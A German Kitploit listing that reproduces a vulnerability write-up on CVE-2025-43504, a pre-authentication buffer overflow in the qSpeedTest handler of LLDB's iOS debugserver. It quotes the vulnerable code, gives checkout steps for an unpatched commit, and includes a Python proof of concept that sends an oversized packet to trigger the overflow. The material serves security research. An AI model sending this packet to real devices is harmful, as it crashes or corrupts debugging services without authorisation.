Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-43504 — Technische Detailanalyse zu CVE-2025-43504, einem globalen Pufferüberlauf vor der Authentifizierung in LLDBs debugserver für iOS, mit PoC-Code und Exploit-Analyse. | Kitploit
Tools/GitHubGitHub/calysteon/cve-2025-43504
iOS-SicherheitSchwachstellenanalyseExploitationDebuggerPapers & ForschungLernen & BildungBinary-Exploitation
GitHubcalysteon/cve-2025-43504

CVE-2025-43504

Technische Detailanalyse zu CVE-2025-43504, einem globalen Pufferüberlauf vor der Authentifizierung in LLDBs debugserver für iOS, mit PoC-Code und Exploit-Analyse.

Repository anzeigen
17vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Wenn gute /bins böse werden: Ein entfernter Pre-Authentifizierungs-Überlauf in LLDBs debugserver


Einleitung

In meiner Jugend habe ich immer gerne in den DVD-Kisten bei meinem örtlichen Walmart gestöbert. Mir ist aufgefallen, dass viele der gleichen Filme obenauf lagen, aber wenn man wirklich grub, fand man interessantere und nischenhaftere Titel.

Wenn ein Programm einen Puffer überläuft, greift man im Grunde in dessen Schnäppchenkiste. Je nachdem, wie weit man greift, können sich die DVDs – oder in diesem Fall die überschriebenen Strukturen im Speicher – ändern.

Das heutige Schnäppchen /bin ist CVE-2025-43504: Ein entfernter globaler Pufferüberlauf vor der Authentifizierung, den ich in LLDBs debugserver gefunden habe.

Wie sind wir hierher gekommen?

Während der Anwendungsentwicklung müssen Entwickler oft ihre App auf einem physischen iOS-Gerät debuggen. Dazu mountet Xcode ein Developer Disk Image auf dem Ziel-iPhone und koppelt es dann.

Nach der Kopplung kann der macOS-Host mit dem iOS-Client über den auf dem Client installierten debugserver kommunizieren. Nun kann jeder Client, der eine GDB-Remote-Sitzung zum debugserver des Geräts aufbauen kann, den qSpeedTest-Handler erreichen und den anfälligen Puffer überlaufen lassen.

Werfen wir einen Blick auf die Sicherheitsveröffentlichungsseite von Xcode 26.1, um besser zu verstehen, wie Apple CVE-2025-43504 kategorisiert hat:

CVE-2025-43504

Aufgrund moderner Software-Gegenmaßnahmen betrachtet Apple Pufferüberläufe hauptsächlich als Denial-of-Service-Problem und nicht als Korruptions-Primitiv. Wie wir heute untersuchen werden, ist dies im Allgemeinen zutreffend, da ein Angreifer mehrere Hürden überwinden und dieses Problem wahrscheinlich mit einem anderen Fehler kombinieren müsste, um beliebigen Code auszuführen.

Ein kleiner Schritt für Pwn, ein riesiger Sprung für die Pwnkind

Wenn Sie mit einer nicht gepatchten Version von debugserver experimentieren möchten, verwenden Sie den folgenden Commit oder einen Commit vor ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:

git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

Du wirst einen größeren Debugger brauchen

Vor dem Patch in RNBRemote.cpp konnte jeder entfernte Benutzer, der eine Verbindung zum debugserver eines iOS-Geräts herstellen konnte, ein qSpeedTest-Paket ohne Authentifizierung an RNBRemote::HandlePacket_qSpeedTest senden und benachbarte Strukturen im globalen Datensegment von debugserver korrumpieren.

Es gibt jedoch einen wichtigen Vorbehalt: Wir kontrollieren nur die Länge der Korruption. Der Inhalt der Nutzlast ist auf einen Strom von 'a'-Zeichen festgelegt. Während Studenten die konstant hohen Noten genießen mögen, ist der praktische Nutzen dieses Überlaufs stark eingeschränkt, da wir nicht die tatsächlich geschriebenen Bytes kontrollieren können – nur wie weit die Flut von 'a's reicht.

Werfen wir nun einen Blick unter die Haube von RNBRemote::HandlePacket_qSpeedTest, um genau zu sehen, was vor sich geht:

rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // We control the length of response_size
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // The overflow of g_data by a's occurs here
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

Die Aufgabe von RNBRemote::HandlePacket_qSpeedTest() besteht darin, eingehende qSpeedTest:response_size:<hex>;-Pakete zu verarbeiten, ohne dass eine Authentifizierung von einem entfernten Benutzer erforderlich ist, der mit dem debugserver-Binary des iOS-Geräts kommunizieren kann.

Sobald ein entfernter Benutzer jedoch ein qSpeedTest:response_size:<hex>;-Paket an debugserver senden kann, finden in debugserver vor der Verarbeitung der benutzerdefinierten response_size keine Authentifizierungsprüfungen statt. Daher kann jeder Benutzer, der mit einem iOS-Gerät kommunizieren kann, auf dem ein Developer Disk Image gemountet ist, debugserver über ein qSpeedTest:response_size:<hex>;-Paket überlaufen lassen.

Einfach weiterschwimmen, weiterschwimmen, weiterschwimmen

Da wir nun die anfällige Funktion RNBRemote::HandlePacket_qSpeedTest() erreicht haben, untersuchen wir genau, wie der Überlauf auftritt. Zunächst wird die vom Benutzer bereitgestellte Größe <hex> im Paket qSpeedTest:response_size:<hex>; extrahiert und in der Variablen response_size gespeichert:

p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

Wenn die Analyse erfolgreich ist und das nächste Zeichen ein Semikolon ist, wird ein funktionslokaler statischer 4 MiB + 16‑Byte-Puffer g_data initialisiert und mit dem ASCII-Header "data:" befüllt:

if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

Hoppla, ich hab's wieder getan

Alles zusammenfügend füllt memset dann den statischen 4 MiB + 16‑Byte-Puffer g_data mit 'a' unter Verwendung des benutzergesteuerten response_size-Werts als Anzahl der zu verwendenden 'a's.

  // The overflow of g_data by 'a's occurs here
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

Daher tritt immer dann ein Pufferüberlauf auf, wenn ein entfernter LLDB-Client ein qSpeedTest:response_size:<hex>;-Paket mit einer response_size sendet, die größer als der 4 MiB + 16‑Byte-Puffer ist, und korrumpiert benachbarte globale Variablen, die im globalen Datensegment (.bss) von debugserver gespeichert sind.

Wenn gute Bins böse werden

Nachdem wir die Architektur hinter dem Überlauf verstanden haben, tauchen wir nun in die tatsächliche Mechanik der Sicherheitslücke ein. Beginnen wir mit dem folgenden Python-Programm, um die durch den g_data-Überlauf erlangten Korruptionsprimitive zu erkunden:

import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # send the oversized qSpeedTest
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (best effort)
        except Exception:
            pass

        # Optional tiny nudge to exercise pointer use
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass
Tool herunterladen